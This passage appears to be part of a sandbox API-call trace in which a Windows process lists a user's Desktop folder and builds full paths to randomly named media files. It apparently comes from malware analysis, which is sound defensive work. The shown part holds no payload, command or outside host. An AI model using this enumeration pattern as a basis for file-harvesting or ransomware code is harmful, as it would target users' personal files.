pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a", len=0x2d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df9bc*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.704] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a" (normalized: "c:\\users\\aetadzjz\\desktop\\p0hc9z_vvr1uxdn12a")) returned 0x10 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df9b0*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.705] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", cchWideChar=44, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 44 [0165.706] SysReAllocStringLen (in: pbstr=0x1fcffdb8*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1fcffdb8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.706] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877ac7b0, ftCreationTime.dwHighDateTime=0x1d5d858, ftLastAccessTime.dwLowDateTime=0x3c2d8a90, ftLastAccessTime.dwHighDateTime=0x1d5d8b7, ftLastWriteTime.dwLowDateTime=0x3c2d8a90, ftLastWriteTime.dwHighDateTime=0x1d5d8b7, nFileSizeHigh=0x0, nFileSizeLow=0x352a, dwReserved0=0x0, dwReserved1=0x0, cFileName="qEQqPma1vWv0n2B2SG.bmp", cAlternateFileName="QEQQPM~1.BMP")) returned 1 [0165.706] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.706] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.706] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.706] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.706] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qEQqPma1vWv0n2B2SG.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp") returned 1 [0165.707] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5fc7920, ftCreationTime.dwHighDateTime=0x1d5dcab, ftLastAccessTime.dwLowDateTime=0xb2595f10, ftLastAccessTime.dwHighDateTime=0x1d5e702, ftLastWriteTime.dwLowDateTime=0xb2595f10, ftLastWriteTime.dwHighDateTime=0x1d5e702, nFileSizeHigh=0x0, nFileSizeLow=0x8619, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlA3qKm.jpg", cAlternateFileName="")) returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qEQqPma1vWv0n2B2SG.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg") returned 1 [0165.707] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\qlA3qKm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg") returned 1 [0165.708] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc865b440, ftCreationTime.dwHighDateTime=0x1d5dab2, ftLastAccessTime.dwLowDateTime=0xf0dae750, ftLastAccessTime.dwHighDateTime=0x1d5e049, ftLastWriteTime.dwLowDateTime=0xf0dae750, ftLastWriteTime.dwHighDateTime=0x1d5e049, nFileSizeHigh=0x0, nFileSizeLow=0x17a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qq8L.gif", cAlternateFileName="")) returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\qlA3qKm.jpg", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif", len=0x23 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif", len=0x23 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif", len=0x23 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", len=0x22 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Qq8L.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", len=0x22 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", len=0x22 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif") returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", len=0x22 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif") returned 1 [0165.708] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffeb78b0, ftCreationTime.dwHighDateTime=0x1d5e2a9, ftLastAccessTime.dwLowDateTime=0xffb4b320, ftLastAccessTime.dwHighDateTime=0x1d5da57, ftLastWriteTime.dwLowDateTime=0xffb4b320, ftLastWriteTime.dwHighDateTime=0x1d5da57, nFileSizeHigh=0x0, nFileSizeLow=0x12c24, dwReserved0=0x0, dwReserved1=0x0, cFileName="QzOJIDzF3_89wL.m4a", cAlternateFileName="QZOJID~1.M4A")) returned 1 [0165.708] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Qq8L.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a", len=0x2d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\QzOJIDzF3_89wL.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a") returned 1 [0165.709] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x100e5200, ftCreationTime.dwHighDateTime=0x1d5e3d9, ftLastAccessTime.dwLowDateTime=0x4f950110, ftLastAccessTime.dwHighDateTime=0x1d5e79b, ftLastWriteTime.dwLowDateTime=0x4f950110, ftLastWriteTime.dwHighDateTime=0x1d5e79b, nFileSizeHigh=0x0, nFileSizeLow=0x107cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdC0KwKo5r3lryFwb.flv", cAlternateFileName="RDC0KW~1.FLV")) returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\QzOJIDzF3_89wL.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.709] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\RdC0KwKo5r3lryFwb.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv") returned 1 [0165.710] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf4600, ftCreationTime.dwHighDateTime=0x1d5e4fc, ftLastAccessTime.dwLowDateTime=0xe4c60d0, ftLastAccessTime.dwHighDateTime=0x1d5da90, ftLastWriteTime.dwLowDateTime=0xe4c60d0, ftLastWriteTime.dwHighDateTime=0x1d5da90, nFileSizeHigh=0x0, nFileSizeLow=0xbd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="rPTlTFBkx.bmp", cAlternateFileName="RPTLTF~1.BMP")) returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\RdC0KwKo5r3lryFwb.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", len=0x27 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\rPTlTFBkx.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", len=0x27 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp") returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp") returned 1 [0165.710] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e613850, ftCreationTime.dwHighDateTime=0x1d5dcc7, ftLastAccessTime.dwLowDateTime=0x4c92830, ftLastAccessTime.dwHighDateTime=0x1d5dda2, ftLastWriteTime.dwLowDateTime=0x4c92830, ftLastWriteTime.dwHighDateTime=0x1d5dda2, nFileSizeHigh=0x0, nFileSizeLow=0x13971, dwReserved0=0x0, dwReserved1=0x0, cFileName="S8kXyr16.wav", cAlternateFileName="")) returned 1 [0165.710] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\rPTlTFBkx.bmp", psz="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\S8kXyr16.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav") returned 1 [0165.711] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\S8kXyr16.wav") returned 1 [0165.711] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52991540, ftCreationTime.dwHighDateTime=0x1d5e61a, ftLastAccessTime.dwLowDateTime=0x384ca860, ftLastAccessTime.dwHighDateTime=0x1d5e3a3, ftLastWriteTime.dwLowDateTime=0x384ca860, ftLastWriteTime.dwHighDateTime=0x1d5e3a3, nFileSizeHigh=0x0, nFileSizeLow=0x11c6, 